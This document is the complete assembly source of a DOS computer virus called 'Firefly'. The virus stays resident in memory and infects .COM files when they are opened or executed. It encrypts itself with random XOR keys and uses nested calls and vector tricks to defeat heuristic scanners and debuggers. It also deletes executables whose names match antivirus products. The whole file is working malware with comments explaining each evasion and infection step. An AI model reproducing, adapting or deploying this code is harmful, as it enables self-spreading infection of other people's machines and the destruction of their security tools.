                .radix 16
     code       segment
                model  small
                assume cs:code, ds:code, es:code

                org 100h

len             equ offset last - start
vir_len         equ len / 16d                    ; 16 bytes per paragraph 
encryptlength   equ (last - begin)/4+1



start:
                mov bx, offset begin        ; The Encryption Head
                mov cx, encryptlength       ;
encryption_loop:                            ;
                db      81h                 ; XOR WORD PTR [BX], ????h
                db      37h                 ;
encryption_value_1:                         ;
                dw      0000h               ;
                                            ;
                db      81h                 ; XOR WORD PTR [BX+2], ????h
                db      77h                 ;
                db      02h                 ; 2 different random words
encryption_value_2:                         ; give 32-bit encryption
                dw      0000h               ;
                add     bx, 4               ;
                loop    encryption_loop     ;
begin:                                           
                jmp virus             
                db     '[Firefly] By Nikademus $'
                db     'Greetings to Urnst Kouch and the CRYPT staff. $'
virus:     
                call    bp_fixup                 ; bp fixup to determine
bp_fixup:                                        ; locations of data
                pop     bp                       ; with respect to the new      
                sub     bp, offset bp_fixup      ; host                  

Is_I_runnin:    
                call    screw_fprot              ; screwing
                call    screw_fprot              ; heuristic scanning
                call    screw_fprot              ;
                call    screw_fprot              ;
                call    screw_fprot              ;
                call    screw_fprot              ;
                call    screw_fprot              ;
                call    screw_fprot              ;
                call    screw_fprot              ;
                call    screw_fprot              ;
                push    ds
                push    es
                mov     ax,2C2Ch                 ;  
                int     21h                      ; call to see if runnin  
                cmp     ax, 0FFFh                ; am i resident?
                jne     cut_hole                 ;
fix_victim:     
                pop     es                       ; replace victims 3 bytes
                pop     ds                       ;
                mov     di,050h                  ; stops one of SCAN's    
                add     di,0B0h                  ; generic scan attempts
                lea     si, ds:[vict_head + bp]  ; (scan only worked on        
                mov     cx, 03h                  ; unencrypted copies 
                rep     movsb                    ; regardless)
Bye_Bye: 
                mov     bx, 100h                 ; jump to 100h
                jmp     bx                       ; (start of victim)
cut_hole:  
                mov     dx, 5945h                ; pull CPAV (MSAV)
                mov     ax, 64001d               ; out of memory
                int     16h                      ; (This also screws with
                                                 ;  TBCLEAN ???????)
                
                call    screw_fprot              ; more screwing of
                call    screw_fprot              ; heuristic scanning
                call    screw_fprot              ;
                call    screw_fprot              ;
                call    screw_fprot              ;
                call    screw_fprot              ;

                mov     bx,cs                    ; reduce memory size     
                dec     bx                       ;    
                mov     ds,bx                    ;   
                cmp     byte ptr ds:[0000],5a    ;    
                jne     fix_victim               ;         
                mov     bx,ds:[0003]             ;    
                sub     bx, 100h                 ; # of 16byte paragraphs      
                mov     ds:0003,bx               ; to grab (4k)
Zopy_me:  
                xchg    bx, ax                   ; copy self to the new
                mov     bx, es                   ; 'unused' part of memory    
                add     bx, ax                   ;    
                mov     es, bx                   ;
                mov     cx,len                   ;
                mov     ax,ds                    ;   
                inc     ax                       ;
                mov     ds,ax                    ;
                lea     si,ds:[offset start+bp]  ;          
                lea     di,es:0100               ;   
                rep     movsb                    ;   

Hookroutines:                  ; interrupt manipulation (Happy!, Happy!)
                xor     ax, ax                    ;     (Joy!, Joy!)
                mov     ds, ax
                push    ds                        ; push 0000h
                lds     ax, ds:[1Ch*4]
                mov     word ptr es:old_1Ch, ax   ; save 1C
                mov     word ptr es:old_1Ch+2, ds 
                pop     ds
                push    ds
                lds     ax, ds:[21h*4]            ; get int 21h
                mov     word ptr es:old_21h, ax   ; save 21
                mov     word ptr es:old_21h+2, ds 
                mov     bx, ds                    ; bx = ds
                pop     ds
                mov     word ptr ds:[1h*4], ax    ; put int 21h into 1 and 3
                mov     word ptr ds:[1h*4+2], bx  ; this should screw   
                mov     word ptr ds:[3h*4], ax    ; most debuggers
                mov     word ptr ds:[3h*4+2], bx  
                mov     word ptr ds:[21h*4], offset Firefly ; put self in 21 
                mov     ds:[21h*4+2], es                    ;
                mov     ds:[1Ch*4+2], es
                mov     word ptr ds:[1Ch*4], offset Lights  ; hook 1C
                jmp     fix_victim
Lights:                                     ; keyboard lights changer...
                                            ; found in NIKTRKS1.ZIP
                push    ax                  ; save these
                push    bx                  ;
                push    cx                  ;
                push    dx                  ;
                push    si                  ;
                push    di                  ;
                push    ds                  ;
                push    es                  ;
                
                push    cs
                pop     ds
                push    cs
                pop     es
                cmp     [click], 63d         ; after 63 clicks
                je      one
                cmp     [click], 126d        ; after 126 clicks
                je      two
                cmp     [click], 189d        ; after 189 clicks
                je      three
                cmp     [click], 0ffh        ; have we counted to 255?
                je      clear
                inc     [click]              ; increase click count
                jmp     endme
clear:          mov     [click], 00h         ; clear click count
                mov     ax, 40h
                mov     ds, ax
                mov     bx, 17h              ; ds:bx = location o' flags
                and     byte ptr [bx],0      ; clear keyboard flag(s)
                jmp     endme
one:            inc     [click]
                mov     ax, 40h
                mov     ds, ax
                mov     bx, 17h
                mov     byte ptr [bx],20h    ; set numlock flag
                jmp     endme
two:            inc     [click]
                mov     ax, 40h
                mov     ds, ax
                mov     bx, 17h
                mov     byte ptr [bx],40h    ; set caps lock flag
                jmp     endme
three:          inc     [click]
                mov     ax, 40h
                mov     ds, ax
                mov     bx, 17h              
                mov     byte ptr [bx],10h    ; set scroll lock flag
endme:       
                pop     es
                pop     ds
                pop     di
                pop     si
                pop     dx
                pop     cx
                pop     bx
                pop     ax
                jmp     dword ptr cs:[old_1Ch]     ; Go to old int 1Ch
                db      'Psalm 69'
screw_fprot:
                jmp  $ + 2                 ;  Nested calls to confuse
                call screw2                ;  f-protect's heuristic
                call screw2                ;  analysis
                call screw2                ;
                call screw2                ;
                call screw2                ;
                ret                        ;
screw2:                                    ;
                jmp  $ + 2                 ;
                call screw3                ;
                call screw3                ;
                call screw3                ;
                call screw3                ;
                call screw3                ;
                ret                        ;
screw3:                                    ;
                jmp  $ + 2                 ;
                call screw4                ;
                call screw4                ;
                call screw4                ;
                call screw4                ;
                call screw4                ;
                ret                        ;
screw4:                                    ;
                jmp  $ + 2                 ;
                ret                        ;
                db      'Every day is Halloween'
Firefly:                                   
                pushf                              ; Am I checking if     
                cmp     ax,2c2ch                   ; I am resident?
                jne     My_21h                     ;
                mov     ax,0FFFh                   ; If so, return
                popf                               ; 0FFFh in AX    
                iret                               ;
                
My_21h:         
                push    ax                         ; save these
                push    bx                         ;
                push    cx                         ;
                push    dx                         ;
                push    si                         ;
                push    di                         ;
                push    ds                         ;
                push    es                         ;
check_for_proper_calls:     
                cmp     ah, 4Bh                    ; executed? 
                je      chk_com 
                cmp     ah, 3Dh                    ; open?
                je      chk_com
                cmp     ah, 43h                    ; attribs?
                je      chk_com
                cmp     ah, 6Ch                    ; extended open?
                je      extended              
               
notforme:       
                pop     es
                pop     ds
                pop     di
                pop     si
                pop     dx
                pop     cx
                pop     bx
                pop     ax
                popf
                jmp     dword ptr cs:[old_21h]     ; The End
                db      'Happiness in Slavery'
extended:
                mov     dx, si                     ; now a normal open
chk_com:        
                mov     word ptr cs:victim_name,dx
                mov     word ptr cs:victim_name+2,ds
                cld                          
                mov     di,dx                
                push    ds
                pop     es
                mov     al,'.'                     ; find the period
                repne   scasb                      ;
                call    avtest                
                cmp     ax, 00ffh                  ; WAS the program an AV?
                je      notforme
                cmp     word ptr es:[di],'OC'      ; is i a .(CO)M?
                jne     notforme                
Grab_24:                                           ; hook interrupt 24
                push    ds                         ; by direct writes to 
                push    dx                         ; interrupt vector
                xor     ax, ax                     ; table
                mov     ds, ax                     ;
                mov     dx, offset new_24h         ;
                mov     word ptr ds:[24h*4], dx    ;
                mov     word ptr ds:[24h*4+2], es  ; 
                pop     dx                         
                pop     ds                         
                
open_victim:      
                push    cs
                pop     es
                lds     dx, cs:victim_name       ; get and save attributes
                mov     ax, 4300h                ;
                int     3h                       ;
                jc      notforme                 ; error handler
                push    cx                       ;
                push    ds                       ;
                push    dx                       
                mov     ax, 4301h                ; clear attribs
                xor     cx, cx                   ;
                int     1h                       ;
                jc      notforme
                mov     ax,3D02h                 ; open victim
                lds     dx, cs:victim_name       ;
                int     3h                       ;
                jc      notforme                 ; error handler
                push    cs                       ;
                pop     ds                       ;
                xchg    ax, bx                   ; put handle in proper place
get_date:                                        ; get and save date 
                                                 ; and time
                mov     ax,5700h        
                int     3h
                push    cx                       ; save time
                push    dx                       ; save date
                
check_forme:    
                mov     ah,3fh                       ; read 1st 3 bytes
                mov     cx,03h                       ;
                mov     dx,offset vict_head          ;
                int     1h
                
                mov     ax, 4202h                    ; point to end
                xor     cx, cx                       ;
                xor     dx, dx                       ;
                int     3h                           ;
                
                mov     cx, word ptr [vict_head+1]   ; possible jump location
                add     cx, last-start+3             ;
                cmp     ax, cx                       ; already infected?
                jz      save_date                    ;
                push    ax
get_random:                
                mov     ah, 2Ch                      ; dx and (cx-dx)
                int     3h                           ; will be to two
                or      dx, dx                       ; encryption values
                jz      get_random                   ;
write_virus:    
                mov     word ptr [offset encryption_value_1], dx
                mov     word ptr [offset e_value_1], dx
                sub     cx, dx
                mov     word ptr [offset encryption_value_2], cx
                mov     word ptr [offset e_value_2], cx
                pop     ax
                mov     si, ax                       ; fix BX offset in head
                add     si, ((offset begin-offset start)+100h) 
                mov     word ptr [offset start+1], si  
                
                mov     si, offset start             ; copy virus to buffer
                mov     di, offset encryptbuffer     ;
                mov     cx, last-start               ;
                rep     movsb                        ;

                sub     ax, 03h                          ; construct jump
                mov     word ptr [offset new_jump+1], ax ;
                mov     dl, 0E9h                         ;
                mov     byte ptr [offset new_jump], dl   ;
Encryptvirus_in_buffer:                
                push    bx                                   ; encrypt copy
                mov bx, offset ((begin-start)+encryptbuffer) ; in encrypt-           
                mov cx, encryptlength                        ; buffer
e_loop:                                                      ;
                db      81h                                  ; XOR [bx]
                db      37h                                  ;  
e_value_1:                                                   ;
                dw      0000h                                ; scrambler #1
                db      81h                                  ; XOR [bx+2]
                db      77h                                  ;
                db      02h                                  ;
e_value_2:                                                   ;
                dw      0000h                                ; scrambler #2
                add     bx, 4                                ;
                loop    e_loop                               ; loop

                pop     bx
                mov     ah, 40h                      ; write virus   
                mov     cx, last-start               ;
                mov     dx, offset encryptbuffer     ;
                int     1h                           ;
                
                mov     ax, 4200h                    ; point to front
                xor     cx, cx                       ;
                xor     dx, dx                       ;
                int     1h                           ;
                
                mov     ah, 40h                      ; write jump
                mov     dx, offset new_jump          ;
                mov     cx, 03h                      ;
                int     3h                           ;
save_date:                                     
                pop     dx                        ; Date
                pop     cx                        ; Time
                mov     ax,5701h                  ;
                int     1h
                                               ;
close_file:                                    ;
                mov     ah,03Eh                ; Close file and restore  
                int     3h                     ; attribs
                mov     ax, 4301h              ;
                pop     dx                     ;
                pop     ds                     ; This is the end...
                pop     cx                     ; My only friend, The End.
                int     3h                     ;       - Jim Morrison
                jmp     notforme               ;
new_24h:        
                mov     al,3                   ; Critical Error (Mis)handler
                iret                           ;
                db      'The land of Rape and Honey'

                ; This area is the "intelligence" of Firefly
                ; It looks for known AV names which it then deletes.
                ; So it sort of shuts down the computers "immune system"
avtest:
                cmp     word ptr es:[di-3],'MI'    ;Integrity Master
                je      AV                         ;*IM
                
                cmp     word ptr es:[di-3],'XR'    ;*rx
                je      AV                         ;
                
                cmp     word ptr es:[di-3],'PO'    ;*STOP
                jne     next1                      ;(VIRSTOP)
                cmp     word ptr es:[di-5],'TS'    ;
                je      AV                         ;

next1:          cmp     word ptr es:[di-3],'VA'    ;*AV  i.e. cpav
                je      AV_Detected                ;(TBAV) (MSAV)  
                
                cmp     word ptr es:[di-3],'TO'    ;*prot  f-prot
                jne     next2                      ;
                cmp     word ptr es:[di-5],'RP'    ;
                jne     next2                      ;  
AV:             jmp     AV_Detected                ; must be equal

next2:          cmp     word ptr es:[di-3],'NA'    ;*scan  McAffee's 
                jne     next3                      ;(TBSCAN)
                cmp     word ptr es:[di-5],'CS'    ;
                je      AV_Detected                ;  
                
                cmp     word ptr es:[di-3],'NA'    ;*lean  CLEAN..
                jne     next3                      ; why not eh?
                cmp     word ptr es:[di-5],'EL'    ;(TBCLEAN)
                je      AV_Detected                ;  

next3:          cmp     word ptr es:[di-3],'CV'    ; Victor Charlie
                je      AV_Detected                ; default  *VC
                
                cmp     word ptr es:[di-3],'KC'    ; VCHECK
                jne     next4                      ; (Victor Charlie)
                cmp     word ptr es:[di-5],'EH'    ; (TBCHECK) *HECK
                je      AV_Detected                ;  
next4:                
                cmp     word ptr es:[di-3],'ME'    ; TBMEM
                jne     next5                      ; *BMEM
                cmp     word ptr es:[di-5],'MB'    ; 
                je      AV_Detected                ;  
next5:                
                cmp     word ptr es:[di-3],'XN'    ; TBSCANX
                jne     next6                      ; *CANX
                cmp     word ptr es:[di-5],'AC'    ; 
                je      AV_Detected                ;  
next6:                
                cmp     word ptr es:[di-3],'EL'    ; TBFILE
                jne     next7                      ; *FILE
                cmp     word ptr es:[di-5],'IF'    ; 
                je      AV_Detected                ;  
next7:                
                ret
AV_Detected:      
                mov     ds, word ptr cs:[victim_name + 2] ; The Victim
                mov     dx, word ptr cs:[victim_name]
                mov     ax, 4301h                    ; Clear it's attribs
                mov     cx, 00h                      ;
                int     1h
                mov     ah, 41h                      ; Delete It.
                int     3h                           ; 
                ret                                  ;
                db      'Its Dead Jim'                               

vict_head       db  090h, 0cdh, 020h                 ; 3 bytes of storage
old_21h         dw  00h,00h                          ; int 21 storage
old_1Ch         dw  00h,00h
click           db  00h
last:                                               

; The heap........   junk not needed in main program

victim_name     dd  ?
new_jump        db  090h, 090h, 090h       
encryptbuffer   db       (last-start)+1 dup (?)
code            ends
                end start
